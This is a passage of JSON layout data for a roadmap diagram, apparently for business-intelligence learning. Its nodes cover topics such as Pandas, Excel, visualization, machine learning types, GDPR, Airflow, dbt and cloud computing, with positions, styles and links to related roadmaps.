\"subtopic\",\n      \"position\": { \"x\": 101.10573273074529, \"y\": 2122.849648200129 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pandas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 101,\n      \"style\": { \"width\": 90.203125 },\n      \"measured\": { \"width\": 101, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"GVgfPajmSqIgFZ6u2I1tK\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -363.7189349312098, \"y\": 2408.5713712778006 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Chart Categories\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"k-DH_EVPEEC5RuOY7Ezx9\"\n      },\n      \"width\": 310,\n      \"style\": { \"width\": 138.5234375 },\n      \"measured\": { \"width\": 310, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"eKBORkRU6HCH-D4GWHyKR\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -363.7189349312098, \"y\": 2461.5713712778006 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Visualization Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 310,\n      \"style\": { \"width\": 257.1796875 },\n      \"measured\": { \"width\": 310, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"TCYG6vmFqq1zAPNQWoOH8\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2150.858794518697 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Standardisation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 233,\n      \"style\": { \"width\": 144.8984375 },\n      \"measured\": { \"width\": 233, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"LLK3_hudKDX5d-fd98vlx\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -308.7189349312098, \"y\": 2703.16148598324 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Excel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 200,\n      \"style\": { \"width\": 138.5859375 },\n      \"measured\": { \"width\": 200, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"1T2PyytlmndHreWgueD55\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 57.12835578247541, \"y\": 3118.3515981586934 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Financial Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 252,\n      \"style\": { \"width\": 208.625 },\n      \"measured\": { \"width\": 252, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"Cydlrtg_FClBUkjezqGie\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 54.016080088605776, \"y\": 3437.4202584060527 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Public Health\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 250,\n      \"style\": { \"width\": 208.625 },\n      \"measured\": { \"width\": 250, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"On6kznZxLTCpBPskdZtgT\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 214.1098300886058, \"y\": 3509.4607435489597 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Trends\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 90,\n      \"style\": { \"width\": 75.90625 },\n      \"measured\": { \"width\": 90, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"moWrEfuKE06QwbznsH3V-\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 55.56705656567175, \"y\": 3509.4607435489597 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Seasonality\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 151,\n      \"style\": { \"width\": 161.9140625 },\n      \"measured\": { \"width\": 151, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"eZN_ty8VDX9mi5KtCWTFL\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.11763936607696, \"y\": 3936.6442774839943 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Supervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5MUwKGfSTKlam8KCG0A1U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 250, \"height\": 49 }\n    },\n    {\n      \"id\": \"6l_tHC1R5zgABHMc_G6RD\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.11763936607696, \"y\": 3989.6442774839943 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Unsupervised Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_uLtsnyNNNRcz5A29Zpjl\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 250, \"height\": 49 }\n    },\n    {\n      \"id\": \"KFONHuJNnCuSOH7-8Ndvm\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 52.11763936607696, \"y\": 4042.6442774839943 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Reinforcement Learning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5MUwKGfSTKlam8KCG0A1U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 250, \"height\": 49 }\n    },\n    {\n      \"id\": \"TBcLXYtKs7_j_h_m2pAyh\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 3849.175777067808 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Communication & Storytelling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 287.953125 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"mi88uLdJBXaxJ2yVOSqqo\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -707.9688363827529, \"y\": 4049.5207556855544 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Soft Skills\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 273,\n      \"style\": { \"width\": 192.75 },\n      \"measured\": { \"width\": 273, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"Sy3AiIS9B845Ua4TTAFG7\",\n      \"type\": \"label\",\n      \"position\": { \"x\": -731.4688363827529, \"y\": 4221.912726964222 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Governance & Ethics\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 320,\n      \"style\": { \"width\": 214.8203125 },\n      \"measured\": { \"width\": 320, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"bGCMAgaenZ0t3WeO5joyP\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -712.9688363827529, \"y\": 4361.178004348748 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Quality\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 283,\n      \"style\": { \"width\": 139.03125 },\n      \"measured\": { \"width\": 283, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"CWf_vL78f8-mSUQbPnU8e\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 56.9455235988937, \"y\": 4535.4643123772785 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GDPR\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9sEmMITUVrQc-IOvxuydC\"\n      },\n      \"width\": 116,\n      \"style\": { \"width\": 97.2421875 },\n      \"measured\": { \"width\": 116, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"IwnXDA-f3FHK4EEeFuToC\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 181.35590065766576, \"y\": 4535.4643123772785 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"CCPA\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"diaTVQEDxgCosJ0YLfmZr\"\n      },\n      \"width\": 117,\n      \"style\": { \"width\": 57.09375 },\n      \"measured\": { \"width\": 117, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49,\n      \"resizing\": false\n    },\n    {\n      \"id\": \"_uLtsnyNNNRcz5A29Zpjl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 51.48871315766576, \"y\": 4119.912726964223 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Algorithmic Bias\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5MUwKGfSTKlam8KCG0A1U\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 250, \"height\": 49 }\n    },\n    {\n      \"id\": \"5MUwKGfSTKlam8KCG0A1U\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 51.48871315766576, \"y\": 4172.912726964222 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mitigation Strategies\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"bIhGv4886V4RWJD3tX0a0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 250,\n      \"height\": 49,\n      \"style\": { \"width\": 323, \"height\": 49 },\n      \"positionAbsolute\": { \"x\": 842.3618127280065, \"y\": 226.40074822234897 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": { \"width\": 250, \"height\": 49 }\n    },\n    {\n      \"id\": \"qnUHw2f2VmTPU3-NMnoLl\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 50.37027213163765, \"y\": 4824.143529968276 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Airflow\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"9sEmMITUVrQc-IOvxuydC\"\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 97.2421875 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"-KzusmyDQ1NgqOADpqmEX\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": 174.37027213163765, \"y\": 4824.143529968276 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"dbt\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"diaTVQEDxgCosJ0YLfmZr\"\n      },\n      \"width\": 120,\n      \"style\": { \"width\": 57.09375 },\n      \"measured\": { \"width\": 120, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"hqpFbDhAvyT9_4hcoSLhC\",\n      \"type\": \"topic\",\n      \"position\": { \"x\": -319.7802971125955, \"y\": 5225.422931614744 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Certifications\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"width\": 246.1640625,\n      \"style\": { \"width\": 246.1640625 },\n      \"measured\": { \"width\": 246, \"height\": 49 },\n      \"zIndex\": 999,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"selectable\": true,\n      \"height\": 49\n    },\n    {\n      \"id\": \"9t4efXU3eSny7asaaeQnT\",\n      \"type\": \"vertical\",\n      \"position\": { \"x\": -198.2189349312098, \"y\": 5575.766590393425 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"4qvR1QQzrmoVIVCAsp92H\"\n      },\n      \"zIndex\": 999,\n      \"width\": 20,\n      \"height\": 66,\n      \"measured\": { \"width\": 20, \"height\": 66 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"width\": 491,\n      \"height\": 115,\n      \"id\": \"O5dely89N5UCMBeUfh8ud\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -321.3713626859631, \"y\": 5460.766590393425 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Also visit the following related roadmaps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"left\",\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"WHITe\"\n        },\n        \"oldId\": \"0vLaVNJaJSHZ_bHli6Qzs\"\n      },\n      \"zIndex\": 999,\n      \"positionAbsolute\": { \"x\": -361.2032366608315, \"y\": 1810.7906301811447 },\n      \"dragging\": false,\n      \"style\": { \"width\": 410, \"height\": 119 },\n      \"resizing\": true,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 491, \"height\": 115 }\n    },\n    {\n      \"width\": 199,\n      \"height\": 49,\n      \"id\": \"hl06pnTWoMnzLmiOz9Sga\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -44.05844840757629, \"y\": 5513.463311174648 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI & Data Scientist\",\n        \"href\": \"https://roadmap.sh/devops\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"measured\": { \"width\": 199, \"height\": 49 }\n    },\n    {\n      \"width\": 100,\n      \"height\": 49,\n      \"id\": \"KGFYqDgOVSFXd2lbg8vGx\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -302.0584484075763, \"y\": 5513.463311174648 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"SQL\",\n        \"href\": \"https://roadmap.sh/sql\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 100, \"height\": 49 }\n    },\n    {\n      \"width\": 148,\n      \"height\": 49,\n      \"id\": \"xcOlVnhYfnSCfzLpkcaRS\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -197.0584484075763, \"y\": 5513.463311174648 },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Data Analyst\",\n        \"href\": \"https://roadmap.sh/data-analyst\",\n        \"color\": \"#FFf\",\n        \"backgroundColor\": \"#4136D6\",\n        \"style\": { \"fontSize\": 17 },\n        \"borderColor\": \"#4136D6\",\n        \"oldId\": \"UZq7Aq3nhidsXdsKeEnNF\"\n      },\n      \"zIndex\": 999,\n      \"dragging\": false,\n      \"positionAbsolute\": { \"x\": -346.2032366608315, \"y\": 1864.9362876142543 },\n      \"style\": { \"width\": 380, \"height\": 49 },\n      \"focusable\": true,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"measured\": { \"width\": 148, \"height\": 49 }\n    },\n    {\n      \"id\": \"HzuJzjnJQga51df1WUn4t\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -311.07337902664165, \"y\": 634.7191181786757 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Statistics Basics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 204, \"height\": 67 },\n      \"dragging\": false,\n      \"width\": 204,\n      \"height\": 67,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"hXrtRBNlstSBzn1WkIr37\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": 63.371061865174624, \"y\": 80.33076065014572 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Business Fundamentals\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 253, \"height\": 67 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"kK-Z2hA1B6bV4yXYFY34V\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -304.40541027664165, \"y\": 1198.901904855021 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BI Core Skills\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 199, \"height\": 67 },\n      \"width\": 199,\n      \"height\": 67,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"MlUILykYMJ69TPBxkeejT\",\n      \"type\": \"button\",\n      \"position\": { \"x\": -340.07337902664165, \"y\": 1907.3913347045232 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Visit SQL Roadmap\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"https://roadmap.sh/sql\",\n        \"color\": \"#ffffff\",\n        \"backgroundColor\": \"#2a79e4\"\n      },\n      \"zIndex\": 999,\n      \"measured\": { \"width\": 258, \"height\": 49 },\n      \"width\": 258,\n      \"height\": 49,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"RpgUaTtS1k69NeSkW59gf\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 101.10573273074529, \"y\": 2026.20112170235 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Tools for Data Cleaning\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 195, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"5iINHo32wQa0sehltzTGJ\",\n      \"type\": \"label\",\n      \"position\": { \"x\": 127.47257055895219, \"y\": 2312.366300038579 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Popular Plots\",\n        \"style\": { \"fontSize\": 17 },\n        \"href\": \"\",\n        \"color\": \"#000000\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 116, \"height\": 38 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"QPYfdTwOFTyEE-iPLMDrz\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -299.2189349312098, \"y\": 2234.7085771684783 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Visualizing Data\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 181,\n      \"height\": 55,\n      \"style\": {},\n      \"measured\": { \"width\": 181, \"height\": 55 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"GHr_rPB2cus3p3fgwGMdR\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -270.2189349312098, \"y\": 2563.163425148593 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"BI Tools\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"flex-start\",\n          \"padding\": 16\n        },\n        \"oldId\": \"eoLdywVPgNoGTHBQpLWRh\"\n      },\n      \"zIndex\": 999,\n      \"style\": {},\n      \"measured\": { \"width\": 123, \"height\": 73 },\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"dY-TBN_bsJdnKPcsNX67Q\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -331.6240471125955, \"y\": 2825.7341916782657 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud Computing\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"left\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"eoLdywVPgNoGTHBQpLWRh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 225,\n      \"height\": 65,\n      \"style\": {},\n      \"measured\": { \"width\": 225, \"height\": 65 },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"_KYKLd-RNhVy-Sn1A-G5j\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2780.7341916782657 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud Computing Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OS887yXaOuVpKd7JPtzgw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 263 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"D94743lQ1fAerVSpJWXfP\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2833.7341916782657 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Cloud data warehouses\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pNUJVoFV1oQJmTun5cwRv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 263 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"Z4pAe4FpnCkUJt8RuOhC6\",\n      \"type\": \"subtopic\",\n      \"position\": { \"x\": -709.6295270153106, \"y\": 2886.7341916782657 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Providers: AWS, GCP, Azure\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"pNUJVoFV1oQJmTun5cwRv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": { \"width\": 263 },\n      \"measured\": { \"width\": 263, \"height\": 49 },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"focusable\": true\n    },\n    {\n      \"id\": \"6vLHalrdOPZIVFUyCM8gc\",\n      \"type\": \"paragraph\",\n      \"position\": { \"x\": -358.6240471125955, \"y\": 2966.3289975164294 },\n      \"selected\": true,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Business Applications\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": 